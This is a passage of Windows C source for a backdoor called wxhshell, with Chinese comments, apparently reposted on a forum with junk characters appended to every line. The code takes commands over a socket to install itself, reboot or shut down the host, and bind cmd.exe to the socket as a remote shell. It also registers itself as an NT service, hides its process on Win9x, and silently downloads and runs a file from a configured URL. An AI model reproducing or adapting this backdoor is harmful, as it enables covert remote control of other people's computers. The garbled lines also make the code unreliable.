  else { ![V- e  
`h'^S,'*  
    switch(cmd[0]) { w[ngkLEA  
  #p >PNW-  
  // 帮助 RFdN13sJ v  
  case '?': { zU%aobZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \=<.0K A~  
    break; z4goa2@Z  
  } !l|Qyk[  
  // 安装 W8^gPW*c5  
  case 'i': { P +SCX#{y  
    if(Install()) |D~MS`~qd5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ajAEGD2Zq  
    else U DG _APf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t-Wn@a  
    break; {~"=6iyj  
    } Ow I?(ruL'  
  // 卸载 JoYzC8/r  
  case 'r': { l?q^j;{Dw  
    if(Uninstall()) 0AEs+=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (2(hl-- 'n  
    else i/L1KiCLx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [xC (t]S-  
    break; vIJdl2(^E  
    } |]Xw1.S.L  
  // 显示 wxhshell 所在路径 u+'=EGl  
  case 'p': { lVdExR>H  
    char svExeFile[MAX_PATH]; *Pl[a1=o  
    strcpy(svExeFile,"\n\r"); Z%Gvf~u  
      strcat(svExeFile,ExeFile); saV` -#  
        send(wsh,svExeFile,strlen(svExeFile),0);  ;P_Zen  
    break; 0)B+ :  
    } -|lnJg4  
  // 重启 OL>/FOH:Fx  
  case 'b': { s$en5)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R Mm`<:H_  
    if(Boot(REBOOT)) e.T5F`Du  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a AuQw  
    else { T2d pn%I  
    closesocket(wsh); j405G4BVW  
    ExitThread(0); TaC)N  
    } :\[F=  
    break; D7%89qt  
    } Z Uh<2F  
  // 关机 ^:],JN k  
  case 'd': { (_T&2%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TuU.yvkU  
    if(Boot(SHUTDOWN)) _#_Ab8#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !EFd- fk  
    else { %(E6ADB  
    closesocket(wsh); - zkB`~u_  
    ExitThread(0); S:d` z'  
    } L*Y}pO  
    break; P(4[<'H O  
    } 4q[r KNl  
  // 获取shell _i 8oWy1  
  case 's': { fq(e~Aqw$  
    CmdShell(wsh); )_jO8 )jB  
    closesocket(wsh); q=bXHtU  
    ExitThread(0); K(p1+ GHC  
    break; ,[~EThcq  
  } Ort\J~ O  
  // 退出 li{_biey}  
  case 'x': { !cpBX>{w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WC4Il C  
    CloseIt(wsh); k@2gw]y"  
    break; IE6/ E  
    } \Q6Ip@?  
  // 离开 ':,LZ A8A  
  case 'q': { z23KSPo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '>6-ie^0  
    closesocket(wsh); IFgF5VG6g  
    WSACleanup(); __9673y  
    exit(1); Wp'\NFe 8  
    break; BYY>;>V  
        } 1/i|  
  } TKE)NIa  
  } _:g V7>S?  
f|`{P P`\  
  // 提示信息 i~2>kxf;K1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {ys_uS{c*  
} B8PF}Mf  
  } !y),| #7P  
UJZa1p@L  
  return; ^v},Sa/ot]  
} U*b SM8)L*  
@iaN@`5I6s  
// shell模块句柄 N*xgVj*  
int CmdShell(SOCKET sock) 56 )B/0=  
{ ijTtyTC  
STARTUPINFO si; !nu['6I%  
ZeroMemory(&si,sizeof(si)); r*g _  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e7;]+pN]J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $xl*P#  
PROCESS_INFORMATION ProcessInfo; '!0CwZ 7  
char cmdline[]="cmd"; &M2x`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &a0%7ea`.S  
  return 0; Z+}SM]m  
} 0'~ ?u'  
6!'yU=Z`  
// 自身启动模式 Txxc-$z  
int StartFromService(void) U` U/|@6  
{ FYj3! H  
typedef struct )SQ g  
{ 52~k:"c  
  DWORD ExitStatus; ux }DWrR  
  DWORD PebBaseAddress; vQ h'C.  
  DWORD AffinityMask; hImCy9i}  
  DWORD BasePriority; 6y0C  
  ULONG UniqueProcessId;  2AluH8X/  
  ULONG InheritedFromUniqueProcessId; ,lUo@+  
}   PROCESS_BASIC_INFORMATION; ' ZJ6p0  
N>z8\y  
PROCNTQSIP NtQueryInformationProcess; OJK/>  
nO/5X>A,Zw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C+iP @~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NUU}8a(K  
CV6H~t'1  
  HANDLE             hProcess; Uag1vW,c  
  PROCESS_BASIC_INFORMATION pbi; =FKB)#N  
OU##A:gI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sPw(+m*C   
  if(NULL == hInst ) return 0; 51&T`i  
F,W(H@ ~x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /t/q$X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &A9+%kOk>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k"U4E J{  
#Z.JOwi  
  if (!NtQueryInformationProcess) return 0; kb6v2 ^8H  
tY#^3ac  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  ^ "f  
  if(!hProcess) return 0; 1@ina`!1O  
ks;%f34  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =_86{wlk  
#i,O "`4  
  CloseHandle(hProcess); ( r O j,D  
e`oc#Od&x]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p<jr&zVEc>  
if(hProcess==NULL) return 0; l ghzd6  
5Q88OxH  
HMODULE hMod; o#Y1Uamkf  
char procName[255]; 0 QpWt  
unsigned long cbNeeded; pg<>Ow5,~l  
vuAjAeKm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V1fPH;  
V OX>Sl  
  CloseHandle(hProcess); o i?ak  
WIghP5%W  
if(strstr(procName,"services")) return 1; // 以服务启动 !9 F+uc5  
r:IU +3  
  return 0; // 注册表启动 3:gk:j#  
} 9+:Trc\%N  
phdN9<Z  
// 主模块 *" )[Srbg  
int StartWxhshell(LPSTR lpCmdLine) :uEp7Y4  
{ (07d0<<[  
  SOCKET wsl; *G^]j )/  
BOOL val=TRUE; ^#o.WL%4/B  
  int port=0; OrBFe *2y  
  struct sockaddr_in door; GZ={G2@=I  
l0_V-|x  
  if(wscfg.ws_autoins) Install(); j;3o9!.s:  
YV msWuF  
port=atoi(lpCmdLine); (tgaH,G  
V*aTDU%-.  
if(port<=0) port=wscfg.ws_port; 3XRG"  
$enh45Wy  
  WSADATA data; 9 2EMDKJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lySaJ d  
.phQ7":`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   krA))cP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S%oGBY*Z  
  door.sin_family = AF_INET; _X[c19q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Go|65Z\`7M  
  door.sin_port = htons(port); &u8c!;y$b  
,zFN3NLtA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ba6xkEd  
closesocket(wsl); Pz 'Hqvd  
return 1; J[l K  
} zvD5i,I  
m%&B4E#3T  
  if(listen(wsl,2) == INVALID_SOCKET) { gUp0RPs  
closesocket(wsl); =m:W  
return 1; YO,ldsSz|r  
} Oq5k4  
  Wxhshell(wsl); U~m.I  
  WSACleanup(); (R-Q9F+;  
i`qh|w/b_  
return 0; E`|qFG<  
.yPx'_e  
} : +Kesa:E  
-+> am?  
// 以NT服务方式启动 67x^{u7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sYpogFfV  
{ t3G'x1  
DWORD   status = 0; c &HoS  
  DWORD   specificError = 0xfffffff; ;[9Is\  
b G)MG0<TT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3:Wr)>l}#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;>N ~ ,Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @ni~ij  
  serviceStatus.dwWin32ExitCode     = 0; S41>VbtEp  
  serviceStatus.dwServiceSpecificExitCode = 0; 3iw9jhK!W  
  serviceStatus.dwCheckPoint       = 0; 5ov%(QI  
  serviceStatus.dwWaitHint       = 0; <Tf;p8#  
qS al~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [3Rj?z"S  
  if (hServiceStatusHandle==0) return; v=VmiBq[  
?W_U{=anl  
status = GetLastError(); 7g9^Jn  
  if (status!=NO_ERROR) ?M^t4nj  
{ #9OP.4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gN~y6c:N  
    serviceStatus.dwCheckPoint       = 0; EB<q.  
    serviceStatus.dwWaitHint       = 0; ,6"n5Ks}  
    serviceStatus.dwWin32ExitCode     = status; R:?vY!  
    serviceStatus.dwServiceSpecificExitCode = specificError; sfE8b/Z8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oy$BR <\  
    return; Z"X*FzFo  
  } ,np`:fBMy  
b_ yXM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i5Q<~;Z+  
  serviceStatus.dwCheckPoint       = 0; E e>j7k.G.  
  serviceStatus.dwWaitHint       = 0; Xf9%A2 iB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (p=GR#  
} vWs c{9  
!`o:+Gg@  
// 处理NT服务事件,比如:启动、停止 om?CFl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _`>7 Q) ,7  
{ 9'g{<(R]  
switch(fdwControl) 7"ps#)O  
{ XWpnZFjE  
case SERVICE_CONTROL_STOP: E2'e}RQ  
  serviceStatus.dwWin32ExitCode = 0; shIi,!bZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F  t/ x 5  
  serviceStatus.dwCheckPoint   = 0; 9PK-r;2  
  serviceStatus.dwWaitHint     = 0; 389.&`Q%Ut  
  { CL :M>(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eu.qA9,@U  
  } +|)1_NK  
  return; } <4[(N  
case SERVICE_CONTROL_PAUSE: \N+Ta:U1P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wS*CcIwj  
  break; t<,p-TM]  
case SERVICE_CONTROL_CONTINUE: O&iYGREO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %C0O?q  
  break; D*'M^k|1  
case SERVICE_CONTROL_INTERROGATE: x9A ZS#e)[  
  break; O>M*mTM  
}; h!av)nhM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IC.<)I  
} \Rqh|T<D  
|#:dC #  
// 标准应用程序主函数 w })Pedg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ugCS &  
{ jI`To%^ Y  
p[F=LP  
// 获取操作系统版本 m_02"'  
OsIsNt=GetOsVer(); Dh(T) yc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VfqY_NmgC  
>"g<-!p@  
  // 从命令行安装 wU)5Evp[  
  if(strpbrk(lpCmdLine,"iI")) Install(); .L5*E(<K0  
[Pwo,L,)  
  // 下载执行文件 -s%-*K+,W  
if(wscfg.ws_downexe) { ^}/ E~Sg7\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  Am%a4{b  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xe3z6  
} )):22}I#  
(&S[R{=^j  
if(!OsIsNt) { %>9+1lUhV  
// 如果时win9x,隐藏进程并且设置为注册表启动 hf+/kc!>i  
HideProc(); nR@,ouB-$  
StartWxhshell(lpCmdLine); LH/&\k  
} acYoOW1G  
else CziaxJ  
  if(StartFromService()) ?+,*YVT  
  // 以服务方式启动 D PS1GO*  
  StartServiceCtrlDispatcher(DispatchTable); RnA&-\|*  
else OT}Yr9h4  
  // 普通方式启动 yg-FJ/  
  StartWxhshell(lpCmdLine); Dj ]Hgg  
?F87C[o  
return 0; tk)>CK11  
}
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只看该作者 1 发表于: 2006-10-10
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